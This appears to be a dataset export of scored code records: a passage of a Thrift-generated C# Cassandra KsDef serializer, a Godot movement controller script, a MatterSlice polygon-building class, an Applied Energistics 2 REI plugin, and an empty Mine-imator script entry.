global::Apache.Cassandra.Test.CfDef(); await _elem119.ReadAsync(iprot, cancellationToken); Cf_defs.Add(_elem119); } await iprot.ReadListEndAsync(cancellationToken); } isset_cf_defs = true; } else { await TProtocolUtil.SkipAsync(iprot, field.Type, cancellationToken); } break; case 6: if (field.Type == TType.Bool) { Durable_writes = await iprot.ReadBoolAsync(cancellationToken); } else { await TProtocolUtil.SkipAsync(iprot, field.Type, cancellationToken); } break; default: await TProtocolUtil.SkipAsync(iprot, field.Type, cancellationToken); break; } await iprot.ReadFieldEndAsync(cancellationToken); } await iprot.ReadStructEndAsync(cancellationToken); if (!isset_name) { throw new TProtocolException(TProtocolException.INVALID_DATA); } if (!isset_strategy_class) { throw new TProtocolException(TProtocolException.INVALID_DATA); } if (!isset_cf_defs) { throw new TProtocolException(TProtocolException.INVALID_DATA); } } finally { iprot.DecrementRecursionDepth(); } } public async global::System.Threading.Tasks.Task WriteAsync(TProtocol oprot, CancellationToken cancellationToken) { oprot.IncrementRecursionDepth(); try { var struc = new TStruct("KsDef"); await oprot.WriteStructBeginAsync(struc, cancellationToken); var field = new TField(); if((Name != null)) { field.Name = "name"; field.Type = TType.String; field.ID = 1; await oprot.WriteFieldBeginAsync(field, cancellationToken); await oprot.WriteStringAsync(Name, cancellationToken); await oprot.WriteFieldEndAsync(cancellationToken); } if((Strategy_class != null)) { field.Name = "strategy_class"; field.Type = TType.String; field.ID = 2; await oprot.WriteFieldBeginAsync(field, cancellationToken); await oprot.WriteStringAsync(Strategy_class, cancellationToken); await oprot.WriteFieldEndAsync(cancellationToken); } if((Strategy_options != null) && __isset.strategy_options) { field.Name = "strategy_options"; field.Type = TType.Map; field.ID = 3; await oprot.WriteFieldBeginAsync(field, cancellationToken); { await oprot.WriteMapBeginAsync(new TMap(TType.String, TType.String, Strategy_options.Count), cancellationToken); foreach (string _iter120 in Strategy_options.Keys) { await oprot.WriteStringAsync(_iter120, cancellationToken); await oprot.WriteStringAsync(Strategy_options[_iter120], cancellationToken); } await oprot.WriteMapEndAsync(cancellationToken); } await oprot.WriteFieldEndAsync(cancellationToken); } if(__isset.replication_factor) { field.Name = "replication_factor"; field.Type = TType.I32; field.ID = 4; await oprot.WriteFieldBeginAsync(field, cancellationToken); await oprot.WriteI32Async(Replication_factor, cancellationToken); await oprot.WriteFieldEndAsync(cancellationToken); } if((Cf_defs != null)) { field.Name = "cf_defs"; field.Type = TType.List; field.ID = 5; await oprot.WriteFieldBeginAsync(field, cancellationToken); { await oprot.WriteListBeginAsync(new TList(TType.Struct, Cf_defs.Count), cancellationToken); foreach (global::Apache.Cassandra.Test.CfDef _iter121 in Cf_defs) { await _iter121.WriteAsync(oprot, cancellationToken); } await oprot.WriteListEndAsync(cancellationToken); } await oprot.WriteFieldEndAsync(cancellationToken); } if(__isset.durable_writes) { field.Name = "durable_writes"; field.Type = TType.Bool; field.ID = 6; await oprot.WriteFieldBeginAsync(field, cancellationToken); await oprot.WriteBoolAsync(Durable_writes, cancellationToken); await oprot.WriteFieldEndAsync(cancellationToken); } await oprot.WriteFieldStopAsync(cancellationToken); await oprot.WriteStructEndAsync(cancellationToken); } finally { oprot.DecrementRecursionDepth(); } } public override bool Equals(object that) { if (!(that is KsDef other)) return false; if (ReferenceEquals(this, other)) return true; return System.Object.Equals(Name, other.Name) && System.Object.Equals(Strategy_class, other.Strategy_class) && ((__isset.strategy_options == other.__isset.strategy_options) && ((!__isset.strategy_options) || (TCollections.Equals(Strategy_options, other.Strategy_options)))) && ((__isset.replication_factor == other.__isset.replication_factor) && ((!__isset.replication_factor) || (System.Object.Equals(Replication_factor, other.Replication_factor)))) && TCollections.Equals(Cf_defs, other.Cf_defs) && ((__isset.durable_writes == other.__isset.durable_writes) && ((!__isset.durable_writes) || (System.Object.Equals(Durable_writes, other.Durable_writes)))); } public override int GetHashCode() { int hashcode = 157; unchecked { if((Name != null)) { hashcode = (hashcode * 397) + Name.GetHashCode(); } if((Strategy_class != null)) { hashcode = (hashcode * 397) + Strategy_class.GetHashCode(); } if((Strategy_options != null) && __isset.strategy_options) { hashcode = (hashcode * 397) + TCollections.GetHashCode(Strategy_options); } if(__isset.replication_factor) { hashcode = (hashcode * 397) + Replication_factor.GetHashCode(); } if((Cf_defs != null)) { hashcode = (hashcode * 397) + TCollections.GetHashCode(Cf_defs); } if(__isset.durable_writes) { hashcode = (hashcode * 397) + Durable_writes.GetHashCode(); } } return hashcode; } public override string ToString() { var sb = new StringBuilder("KsDef("); if((Name != null)) { sb.Append(", Name: "); Name.ToString(sb); } if((Strategy_class != null)) { sb.Append(", Strategy_class: "); Strategy_class.ToString(sb); } if((Strategy_options != null) && __isset.strategy_options) { sb.Append(", Strategy_options: "); Strategy_options.ToString(sb); } if(__isset.replication_factor) { sb.Append(", Replication_factor: "); Replication_factor.ToString(sb); } if((Cf_defs != null)) { sb.Append(", Cf_defs: "); Cf_defs.ToString(sb); } if(__isset.durable_writes) { sb.Append(", Durable_writes: "); Durable_writes.ToString(sb); } sb.Append(')'); return sb.ToString(); } } }
0
0.88392
1
0.88392
game-dev
MEDIA
0.724316
game-dev
0.939783
1
0.939783
pumpedsoftware/source-body-3d
1,989
addons/source-body-3d/SourceBody3D.gd
class_name SourceBody3D extends CharacterBody3D @export var max_ground_speed := 5.5 @export var max_ground_accel := max_ground_speed * 8.0 @export var max_air_speed := 0.7 @export var max_air_accel := 200.0 @export var max_slope := 1.0 @export var jump_force := 4.0 @export var gravity := 12.0 @export var grounded_height := 0.01 @export var friction := 2 func grounded() -> bool: return test_move(global_transform, Vector3(0, -grounded_height, 0)) func s_move_and_slide(delta: float, wasd_input: Vector2, is_jumping: bool) -> void: var wish_dir := wasd_input wish_dir = wish_dir.rotated(-rotation.y) var vel_planar := Vector2(velocity.x, velocity.z) var vel_vertical := _apply_gravity(delta, velocity.y) vel_planar = _apply_friction(delta, vel_planar, wish_dir, is_jumping) vel_planar = _update_velocity(delta, vel_planar, wish_dir) vel_vertical = _check_for_jump(vel_vertical,is_jumping) velocity = Vector3(vel_planar.x, vel_vertical, vel_planar.y) move_and_slide() func _apply_gravity(delta: float, vel_y: float) -> float: if grounded(): return vel_y return vel_y - gravity * delta func _apply_friction(delta: float, vel_planar: Vector2, wish_dir: Vector2, is_jumping: bool) -> Vector2: if not grounded() or is_jumping: return vel_planar var v := vel_planar - vel_planar.normalized() * delta * max_ground_accel / friction if v.length_squared() < 1.0 and wish_dir.length_squared() < 0.01: return Vector2.ZERO else: return v func _update_velocity(delta: float, vel_planar: Vector2, wish_dir: Vector2) -> Vector2: var current_speed := vel_planar.dot(wish_dir) var max_speed := max_ground_speed if grounded() else max_air_speed var max_accel := max_ground_accel if grounded() else max_air_accel var add_speed: float = clamp(max_speed - current_speed, 0.0, max_accel * delta) return vel_planar + wish_dir * add_speed func _check_for_jump(y_vel: float, is_jumping: bool) -> float: if is_jumping and grounded(): return jump_force return y_vel
0
0.799854
1
0.799854
game-dev
MEDIA
0.748192
game-dev
0.931916
1
0.931916
BluSunrize/ImmersiveEngineering
1,179
src/api/java/blusunrize/immersiveengineering/api/client/ieobj/DefaultCallback.java
/* * BluSunrize * Copyright (c) 2023 * * This code is licensed under "Blu's License of Common Sense" * Details can be found in the license file in the root folder of this project */ package blusunrize.immersiveengineering.api.client.ieobj; import net.minecraft.core.BlockPos; import net.minecraft.world.entity.LivingEntity; import net.minecraft.world.item.ItemStack; import net.minecraft.world.level.BlockAndTintGetter; import net.minecraft.world.level.block.entity.BlockEntity; import net.minecraft.world.level.block.state.BlockState; import javax.annotation.Nonnull; public final class DefaultCallback<T> implements ItemCallback<T>, BlockCallback<T> { public static final DefaultCallback<?> INSTANCE = new DefaultCallback<>(); @Override public T extractKey(ItemStack stack, LivingEntity owner) { return null; } @Override public T getDefaultKey() { return null; } @Override public T extractKey(@Nonnull BlockAndTintGetter level, @Nonnull BlockPos pos, @Nonnull BlockState state, BlockEntity blockEntity) { return null; } @SuppressWarnings("unchecked") public static <T> DefaultCallback<T> cast() { return (DefaultCallback<T>)INSTANCE; } }
0
0.503983
1
0.503983
game-dev
MEDIA
0.993554
game-dev
0.738869
1
0.738869
MatterHackers/MatterSlice
11,960
MatterSliceLib/Slicer/SlicerLayer.cs
/* This file is part of MatterSlice. A commandline utility for generating 3D printing GCode. Copyright (C) 2013 David Braam Copyright (c) 2014, Lars Brubaker MatterSlice is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ using System.Collections.Generic; using System.IO; using MSClipperLib; using Polygon = System.Collections.Generic.List<MSClipperLib.IntPoint>; using Polygons = System.Collections.Generic.List<System.Collections.Generic.List<MSClipperLib.IntPoint>>; namespace MatterHackers.MatterSlice { public class MeshProcessingLayer { public Polygons PolygonList = new Polygons(); public List<SlicePerimeterSegment> SegmentList = new List<SlicePerimeterSegment>(); private static readonly bool runLookupTest = false; private Polygons openPolygonList = new Polygons(); private Dictionary<long, List<int>> startIndexes = new Dictionary<long, List<int>>(); private readonly long z; public MeshProcessingLayer(long z) { this.z = z; } public MeshProcessingLayer(int z, string segmentListData) { this.z = z; SegmentList = CreateSegmentListFromString(segmentListData); } public long Z { get { return z; } } public static List<SlicePerimeterSegment> CreateSegmentListFromString(string segmentListData) { var output = new List<SlicePerimeterSegment>(); string[] segmentData = segmentListData.Split('|'); foreach (string segment in segmentData) { if (segment != "") { var outPoints = new Polygon(); string[] points = segment.Split('&'); foreach (string point in points) { string[] coordinates = point.Split(','); string elementX = coordinates[0]; string elementY = coordinates[1]; int xIndex = elementX.IndexOf("x:"); int yIndex = elementY.IndexOf("y:"); outPoints.Add(new IntPoint(int.Parse(elementX.Substring(xIndex + 2)), int.Parse(elementY.Substring(yIndex + 2)))); } output.Add(new SlicePerimeterSegment(outPoints[0], outPoints[1])); } } return output; } public static string DumpSegmentListToString(List<SlicePerimeterSegment> segmentList) { string total = ""; foreach (SlicePerimeterSegment point in segmentList) { total += point.start.ToString() + "&"; total += point.end.ToString() + "|"; } return total; } public void DumpPolygonsToGcode(StreamWriter stream, double scale, double extrudeAmount) { for (int openPolygonIndex = 0; openPolygonIndex < openPolygonList.Count; openPolygonIndex++) { Polygon openPolygon = openPolygonList[openPolygonIndex]; if (openPolygon.Count > 0) { // move to the start without extruding (so it is a move) stream.Write("G1 X{0}Y{1}\n", (double)openPolygon[0].X / scale, (double)openPolygon[0].Y / scale); for (int intPointIndex = 1; intPointIndex < openPolygon.Count; intPointIndex++) { // do all the points with extruding stream.Write("G1 X{0}Y{1}E{2}\n", (double)openPolygon[intPointIndex].X / scale, (double)openPolygon[intPointIndex].Y / scale, extrudeAmount++); } // go back to the start extruding stream.Write("G1 X{0}Y{1}E{2}\n", (double)openPolygon[0].X / scale, (double)openPolygon[0].Y / scale, extrudeAmount++); } } } public void MakePolygons() { #if false // you can use this output segments for debugging using (StreamWriter stream = File.AppendText("segments.txt")) { stream.WriteLine(DumpSegmentListToString(SegmentList)); } #endif CreateFastIndexLookup(); for (int startingSegmentIndex = 0; startingSegmentIndex < SegmentList.Count; startingSegmentIndex++) { if (SegmentList[startingSegmentIndex].hasBeenAddedToPolygon) { continue; } var poly = new Polygon(); // We start by adding the start, as we will add ends from now on. IntPoint polygonStartPosition = SegmentList[startingSegmentIndex].start; poly.Add(polygonStartPosition); int segmentIndexBeingAdded = startingSegmentIndex; bool canClose; while (true) { canClose = false; SegmentList[segmentIndexBeingAdded].hasBeenAddedToPolygon = true; IntPoint addedSegmentEndPoint = SegmentList[segmentIndexBeingAdded].end; poly.Add(addedSegmentEndPoint); segmentIndexBeingAdded = GetTouchingSegmentIndex(addedSegmentEndPoint); if (segmentIndexBeingAdded == -1) { // if we have looped back around to where we started if (addedSegmentEndPoint == polygonStartPosition) { canClose = true; } break; } else { IntPoint foundSegmentStart = SegmentList[segmentIndexBeingAdded].start; if (addedSegmentEndPoint == foundSegmentStart) { // if we have looped back around to where we started if (addedSegmentEndPoint == polygonStartPosition) { canClose = true; } } } } if (canClose) { PolygonList.Add(poly); } else { openPolygonList.Add(new Polygon(poly)); } } // Remove all polygons from the open polygon list that have 0 points for (int i = openPolygonList.Count - 1; i >= 0; i--) { // add in the position of the last point if (openPolygonList[i].Count == 0) { openPolygonList.RemoveAt(i); } else // check if every point is the same { bool allSame = true; var first = openPolygonList[i][0]; for (int j = 1; j < openPolygonList[i].Count; j++) { if (openPolygonList[i][j] != first) { allSame = false; break; } } if (allSame) { openPolygonList.RemoveAt(i); } } } var startSorter = new SortedIntPoint(); for (int i = 0; i < openPolygonList.Count; i++) { startSorter.Add(i, openPolygonList[i][0]); } startSorter.Sort(); var endSorter = new SortedIntPoint(); for (int i = 0; i < openPolygonList.Count; i++) { endSorter.Add(i, openPolygonList[i][openPolygonList[i].Count - 1]); } endSorter.Sort(); // Link up all the missing ends, closing up the smallest gaps first. This is an inefficient implementation which can run in O(n*n*n) time. while (true) { double bestScore = double.MaxValue; int bestA = -1; int bestB = -1; bool reversed = false; for (int polygonAIndex = 0; polygonAIndex < openPolygonList.Count; polygonAIndex++) { if (openPolygonList[polygonAIndex].Count < 1) { continue; } var aEndPosition = openPolygonList[polygonAIndex][openPolygonList[polygonAIndex].Count - 1]; // find the closestStartFromEnd int bStartIndex = startSorter.FindClosetIndex(aEndPosition, out double distanceToStartSqrd); if (distanceToStartSqrd < bestScore) { bestScore = distanceToStartSqrd; bestA = polygonAIndex; bestB = bStartIndex; reversed = false; if (bestScore == 0) { // found a perfect match stop looking break; } } // find the closestStartFromStart int bEndIndex = endSorter.FindClosetIndex(aEndPosition, out double distanceToEndSqrd, polygonAIndex); if (distanceToEndSqrd < bestScore) { bestScore = distanceToEndSqrd; bestA = polygonAIndex; bestB = bEndIndex; reversed = true; if (bestScore == 0) { // found a perfect match stop looking break; } } if (bestScore == 0) { // found a perfect match stop looking break; } } if (bestScore >= double.MaxValue) { // we could not find any points to connect this to break; } if (bestA == bestB) // This loop connects to itself, close the polygon. { PolygonList.Add(new Polygon(openPolygonList[bestA])); openPolygonList[bestA].Clear(); // B is cleared as it is A endSorter.Remove(bestA); startSorter.Remove(bestA); } else { if (reversed) { if (openPolygonList[bestA].Count > openPolygonList[bestB].Count) { for (int indexB = openPolygonList[bestB].Count - 1; indexB >= 0; indexB--) { openPolygonList[bestA].Add(openPolygonList[bestB][indexB]); } openPolygonList[bestB].Clear(); endSorter.Remove(bestB); startSorter.Remove(bestB); } else { for (int indexA = openPolygonList[bestA].Count - 1; indexA >= 0; indexA--) { openPolygonList[bestB].Add(openPolygonList[bestA][indexA]); } openPolygonList[bestA].Clear(); endSorter.Remove(bestA); startSorter.Remove(bestA); } } else { openPolygonList[bestA].AddRange(openPolygonList[bestB]); openPolygonList[bestB].Clear(); endSorter.Remove(bestB); startSorter.Remove(bestB); } } } // Remove all the tiny polygons, or polygons that are not closed. As they do not contribute to the actual print. int minimumPerimeter = 1000; for (int polygonIndex = 0; polygonIndex < PolygonList.Count; polygonIndex++) { long perimeterLength = 0; for (int intPointIndex = 1; intPointIndex < PolygonList[polygonIndex].Count; intPointIndex++) { perimeterLength += (PolygonList[polygonIndex][intPointIndex] - PolygonList[polygonIndex][intPointIndex - 1]).Length(); if (perimeterLength > minimumPerimeter) { break; } } if (perimeterLength < minimumPerimeter) { PolygonList.RemoveAt(polygonIndex); polygonIndex--; } } // Finally optimize all the polygons. Every point removed saves time in the long run. double minimumDistanceToCreateNewPosition = 10; PolygonList = Clipper.CleanPolygons(PolygonList, minimumDistanceToCreateNewPosition); if (PolygonList.Count > 1) { // union all the paths together PolygonList = new Polygons() { PolygonList[0] }.CreateUnion(PolygonList.GetRange(1, PolygonList.Count - 1)); } } public void ReleaseMemory() { SegmentList = null; openPolygonList = null; startIndexes = null; } private void CreateFastIndexLookup() { for (int startingSegmentIndex = 0; startingSegmentIndex < SegmentList.Count; startingSegmentIndex++) { long positionKey = GetPositionKey(SegmentList[startingSegmentIndex].start); if (!startIndexes.ContainsKey(positionKey)) { startIndexes.Add(positionKey, new List<int>()); } startIndexes[positionKey].Add(startingSegmentIndex); } } private long GetPositionKey(IntPoint intPoint) { return intPoint.X + (intPoint.Y << 31); } private int GetTouchingSegmentIndex(IntPoint addedSegmentEndPoint) { int searchSegmentIndex = -1; if (runLookupTest) { for (int segmentIndex = 0; segmentIndex < SegmentList.Count; segmentIndex++) { if (!SegmentList[segmentIndex].hasBeenAddedToPolygon) { if (SegmentList[segmentIndex].start == addedSegmentEndPoint) { searchSegmentIndex = segmentIndex; } } } } int lookupSegmentIndex = -1; long positionKey = GetPositionKey(addedSegmentEndPoint); if (startIndexes.ContainsKey(positionKey)) { foreach (int index in startIndexes[positionKey]) { if (!SegmentList[index].hasBeenAddedToPolygon) { if (SegmentList[index].start == addedSegmentEndPoint) { lookupSegmentIndex = index; } } } } return lookupSegmentIndex; } } }
0
0.72002
1
0.72002
game-dev
MEDIA
0.348465
game-dev
0.816414
1
0.816414
AppliedEnergistics/Applied-Energistics-2
13,789
src/main/java/appeng/integration/modules/rei/ReiPlugin.java
/* * This file is part of Applied Energistics 2. * Copyright (c) 2013 - 2014, AlgorithmX2, All rights reserved. * * Applied Energistics 2 is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Applied Energistics 2 is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with Applied Energistics 2. If not, see <http://www.gnu.org/licenses/lgpl>. */ package appeng.integration.modules.rei; import java.util.Arrays; import java.util.Collections; import java.util.List; import java.util.stream.Collectors; import net.minecraft.client.renderer.Rect2i; import net.minecraft.network.chat.Component; import net.minecraft.resources.ResourceLocation; import net.minecraft.world.item.ItemStack; import net.minecraft.world.item.crafting.Ingredient; import net.minecraft.world.item.crafting.RecipeHolder; import net.minecraft.world.item.crafting.RecipeType; import dev.architectury.event.CompoundEventResult; import me.shedaniel.math.Rectangle; import me.shedaniel.rei.api.client.plugins.REIClientPlugin; import me.shedaniel.rei.api.client.registry.category.ButtonArea; import me.shedaniel.rei.api.client.registry.category.CategoryRegistry; import me.shedaniel.rei.api.client.registry.display.DisplayRegistry; import me.shedaniel.rei.api.client.registry.entry.CollapsibleEntryRegistry; import me.shedaniel.rei.api.client.registry.entry.EntryRegistry; import me.shedaniel.rei.api.client.registry.screen.ExclusionZones; import me.shedaniel.rei.api.client.registry.screen.ScreenRegistry; import me.shedaniel.rei.api.client.registry.transfer.TransferHandlerRegistry; import me.shedaniel.rei.api.common.display.Display; import me.shedaniel.rei.api.common.entry.EntryIngredient; import me.shedaniel.rei.api.common.entry.EntryStack; import me.shedaniel.rei.api.common.entry.type.VanillaEntryTypes; import me.shedaniel.rei.api.common.util.EntryIngredients; import me.shedaniel.rei.api.common.util.EntryStacks; import me.shedaniel.rei.forge.REIPluginClient; import me.shedaniel.rei.plugin.common.BuiltinPlugin; import me.shedaniel.rei.plugin.common.displays.DefaultInformationDisplay; import me.shedaniel.rei.plugin.common.displays.crafting.DefaultCustomShapelessDisplay; import appeng.api.config.Actionable; import appeng.api.config.CondenserOutput; import appeng.api.features.P2PTunnelAttunementInternal; import appeng.api.integrations.rei.IngredientConverters; import appeng.client.gui.AEBaseScreen; import appeng.client.gui.implementations.InscriberScreen; import appeng.core.AEConfig; import appeng.core.AppEng; import appeng.core.FacadeCreativeTab; import appeng.core.definitions.AEBlocks; import appeng.core.definitions.AEItems; import appeng.core.definitions.AEParts; import appeng.core.definitions.ItemDefinition; import appeng.core.localization.GuiText; import appeng.core.localization.ItemModText; import appeng.integration.abstraction.ItemListMod; import appeng.integration.modules.itemlists.CompatLayerHelper; import appeng.integration.modules.itemlists.ItemPredicates; import appeng.integration.modules.rei.transfer.EncodePatternTransferHandler; import appeng.integration.modules.rei.transfer.UseCraftingRecipeTransfer; import appeng.items.parts.FacadeItem; import appeng.items.tools.powered.powersink.AEBasePoweredItem; import appeng.menu.me.items.CraftingTermMenu; import appeng.menu.me.items.PatternEncodingTermMenu; import appeng.recipes.AERecipeTypes; import appeng.recipes.entropy.EntropyRecipe; import appeng.recipes.game.StorageCellUpgradeRecipe; import appeng.recipes.handlers.ChargerRecipe; import appeng.recipes.handlers.InscriberRecipe; import appeng.recipes.transform.TransformRecipe; @REIPluginClient public class ReiPlugin implements REIClientPlugin { static final ResourceLocation TEXTURE = AppEng.makeId("textures/guis/jei.png"); public ReiPlugin() { if (CompatLayerHelper.IS_LOADED) { return; } IngredientConverters.register(new ItemIngredientConverter()); IngredientConverters.register(new FluidIngredientConverter()); ItemListMod.setAdapter(new ReiItemListModAdapter()); } @Override public String getPluginProviderName() { return "AE2"; } @Override public void registerCategories(CategoryRegistry registry) { if (CompatLayerHelper.IS_LOADED) { return; } registry.add(new TransformCategory()); registry.add(new CondenserCategory()); registry.add(new InscriberRecipeCategory()); registry.add(new AttunementCategory()); registry.add(new ChargerCategory()); registry.add(new EntropyRecipeCategory()); registerWorkingStations(registry); } @Override public void registerDisplays(DisplayRegistry registry) { if (AEConfig.instance().isEnableFacadeRecipesInRecipeViewer()) { registry.registerGlobalDisplayGenerator(new FacadeRegistryGenerator()); } if (CompatLayerHelper.IS_LOADED) { return; } registry.registerRecipeFiller(InscriberRecipe.class, AERecipeTypes.INSCRIBER, InscriberRecipeDisplay::new); registry.registerRecipeFiller(ChargerRecipe.class, AERecipeTypes.CHARGER, ChargerDisplay::new); registry.registerRecipeFiller(TransformRecipe.class, AERecipeTypes.TRANSFORM, TransformRecipeWrapper::new); registry.registerRecipeFiller(EntropyRecipe.class, AERecipeTypes.ENTROPY, EntropyRecipeDisplay::new); registry.registerRecipeFiller(StorageCellUpgradeRecipe.class, RecipeType.CRAFTING, this::convertStorageCellUpgradeRecipe); registry.add(new CondenserOutputDisplay(CondenserOutput.MATTER_BALLS)); registry.add(new CondenserOutputDisplay(CondenserOutput.SINGULARITY)); registerDescriptions(registry); } private Display convertStorageCellUpgradeRecipe(RecipeHolder<StorageCellUpgradeRecipe> holder) { var recipe = holder.value(); return new DefaultCustomShapelessDisplay( holder, List.of(EntryIngredients.of(recipe.getInputCell()), EntryIngredients.of(recipe.getInputComponent())), List.of(EntryIngredients.of(recipe.getResultCell()), EntryIngredients.of(recipe.getResultComponent()))); } @Override public void registerTransferHandlers(TransferHandlerRegistry registry) { if (CompatLayerHelper.IS_LOADED) { return; } // Allow recipe transfer from JEI to crafting and pattern terminal registry.register(new EncodePatternTransferHandler<>(PatternEncodingTermMenu.class)); registry.register(new UseCraftingRecipeTransfer<>(CraftingTermMenu.class)); } @Override public void registerScreens(ScreenRegistry registry) { if (CompatLayerHelper.IS_LOADED) { return; } registry.registerDraggableStackVisitor(new GhostIngredientHandler()); registry.registerFocusedStack((screen, mouse) -> { if (screen instanceof AEBaseScreen<?> aeScreen) { var stack = aeScreen.getStackUnderMouse(mouse.x, mouse.y); if (stack != null) { for (var converter : IngredientConverters.getConverters()) { var entryStack = converter.getIngredientFromStack(stack.stack()); if (entryStack != null) { return CompoundEventResult.interruptTrue(entryStack); } } } } return CompoundEventResult.pass(); }); registry.registerContainerClickArea( new Rectangle(82, 39, 26, 16), InscriberScreen.class, InscriberRecipeCategory.ID); } @Override public void registerEntries(EntryRegistry registry) { registry.removeEntryIf(this::shouldEntryBeHidden); if (AEConfig.instance().isEnableFacadesInRecipeViewer()) { registry.addEntries( EntryIngredients.ofItemStacks(FacadeCreativeTab.getDisplayItems())); } } @Override public void registerCollapsibleEntries(CollapsibleEntryRegistry registry) { if (AEConfig.instance().isEnableFacadesInRecipeViewer()) { FacadeItem facadeItem = AEItems.FACADE.get(); registry.group(AppEng.makeId("facades"), GuiText.CreativeTabFacades.text(), stack -> stack.getType() == VanillaEntryTypes.ITEM && stack.<ItemStack>castValue().is(facadeItem)); } } @SuppressWarnings("unchecked") @Override public void registerExclusionZones(ExclusionZones zones) { if (CompatLayerHelper.IS_LOADED) { return; } zones.register(AEBaseScreen.class, screen -> { return screen != null ? mapRects(screen.getExclusionZones()) : Collections.emptyList(); }); } private static List<Rectangle> mapRects(List<Rect2i> exclusionZones) { return exclusionZones.stream() .map(ez -> new Rectangle(ez.getX(), ez.getY(), ez.getWidth(), ez.getHeight())) .collect(Collectors.toList()); } private void registerWorkingStations(CategoryRegistry registry) { var condenser = AEBlocks.CONDENSER.stack(); registry.addWorkstations(CondenserCategory.ID, EntryStacks.of(condenser)); var inscriber = AEBlocks.INSCRIBER.stack(); registry.addWorkstations(InscriberRecipeCategory.ID, EntryStacks.of(inscriber)); registry.setPlusButtonArea(InscriberRecipeCategory.ID, ButtonArea.defaultArea()); var craftingTerminal = AEParts.CRAFTING_TERMINAL.stack(); registry.addWorkstations(BuiltinPlugin.CRAFTING, EntryStacks.of(craftingTerminal)); var wirelessCraftingTerminal = chargeFully(AEItems.WIRELESS_CRAFTING_TERMINAL.stack()); registry.addWorkstations(BuiltinPlugin.CRAFTING, EntryStacks.of(wirelessCraftingTerminal)); registry.addWorkstations(ChargerDisplay.ID, EntryStacks.of(AEBlocks.CHARGER.stack())); registry.addWorkstations(ChargerDisplay.ID, EntryStacks.of(AEBlocks.CRANK.stack())); var entropyManipulator = chargeFully(chargeFully(AEItems.ENTROPY_MANIPULATOR.stack())); registry.addWorkstations(EntropyRecipeCategory.ID, EntryStacks.of(entropyManipulator)); } private static ItemStack chargeFully(ItemStack stack) { if (stack.getItem() instanceof AEBasePoweredItem poweredItem) { poweredItem.injectAEPower(stack, poweredItem.getAEMaxPower(stack), Actionable.MODULATE); } return stack; } private void registerDescriptions(DisplayRegistry registry) { var all = EntryRegistry.getInstance().getEntryStacks().collect(EntryIngredient.collector()); for (var entry : P2PTunnelAttunementInternal.getApiTunnels()) { var inputs = List.of(all.filter( stack -> stack.getValue() instanceof ItemStack s && entry.stackPredicate().test(s))); if (inputs.isEmpty()) { continue; } registry.add(new AttunementDisplay( inputs, List.of(EntryIngredient.of(EntryStacks.of(entry.tunnelType()))), ItemModText.P2P_API_ATTUNEMENT.text(), entry.description())); } for (var entry : P2PTunnelAttunementInternal.getTagTunnels().entrySet()) { var ingredient = Ingredient.of(entry.getKey()); if (ingredient.isEmpty()) { continue; } registry.add(new AttunementDisplay(List.of(EntryIngredients.ofIngredient(ingredient)), List.of(EntryIngredient.of(EntryStacks.of(entry.getValue()))), ItemModText.P2P_TAG_ATTUNEMENT.text())); } addDescription(registry, AEItems.CERTUS_QUARTZ_CRYSTAL, GuiText.CertusQuartzObtain.getTranslationKey()); if (AEConfig.instance().isSpawnPressesInMeteoritesEnabled()) { addDescription(registry, AEItems.LOGIC_PROCESSOR_PRESS, GuiText.inWorldCraftingPresses.getTranslationKey()); addDescription(registry, AEItems.CALCULATION_PROCESSOR_PRESS, GuiText.inWorldCraftingPresses.getTranslationKey()); addDescription(registry, AEItems.ENGINEERING_PROCESSOR_PRESS, GuiText.inWorldCraftingPresses.getTranslationKey()); addDescription(registry, AEItems.SILICON_PRESS, GuiText.inWorldCraftingPresses.getTranslationKey()); } addDescription(registry, AEBlocks.CRANK.item(), ItemModText.CRANK_DESCRIPTION.getTranslationKey()); } private static void addDescription(DisplayRegistry registry, ItemDefinition<?> itemDefinition, String... message) { DefaultInformationDisplay info = DefaultInformationDisplay.createFromEntry(EntryStacks.of(itemDefinition), itemDefinition.get().getDescription()); info.lines(Arrays.stream(message).map(Component::translatable).collect(Collectors.toList())); registry.add(info); } private boolean shouldEntryBeHidden(EntryStack<?> entryStack) { if (entryStack.getType() != VanillaEntryTypes.ITEM) { return false; } return ItemPredicates.shouldBeHidden(entryStack.castValue()); } }
0
0.876899
1
0.876899
game-dev
MEDIA
0.49384
game-dev,desktop-app
0.870918
1
0.870918
SinlessDevil/ZumaClone
1,344
Assets/ThirdParty/StompyRobot/SRDebugger/Scripts/UI/Controls/ProfilerGraphAxisLabel.cs
namespace SRDebugger.UI.Controls { using SRF; using UnityEngine; using UnityEngine.UI; [RequireComponent(typeof (RectTransform))] public class ProfilerGraphAxisLabel : SRMonoBehaviourEx { private float _prevFrameTime; private float? _queuedFrameTime; private float _yPosition; [RequiredField] public Text Text; protected override void Update() { base.Update(); if (_queuedFrameTime.HasValue) { SetValueInternal(_queuedFrameTime.Value); _queuedFrameTime = null; } } public void SetValue(float frameTime, float yPosition) { if (_prevFrameTime == frameTime && _yPosition == yPosition) { return; } _queuedFrameTime = frameTime; _yPosition = yPosition; } private void SetValueInternal(float frameTime) { _prevFrameTime = frameTime; var ms = Mathf.FloorToInt(frameTime*1000); var fps = Mathf.RoundToInt(1f/frameTime); Text.text = "{0}ms ({1}FPS)".Fmt(ms, fps); var r = (RectTransform) CachedTransform; r.anchoredPosition = new Vector2(r.rect.width*0.5f + 10f, _yPosition); } } }
0
0.822855
1
0.822855
game-dev
MEDIA
0.49106
game-dev
0.688225
1
0.688225
stuffbydavid/Mine-imator
1,041
GmProject/scripts/action_tl_parent/action_tl_parent.gml
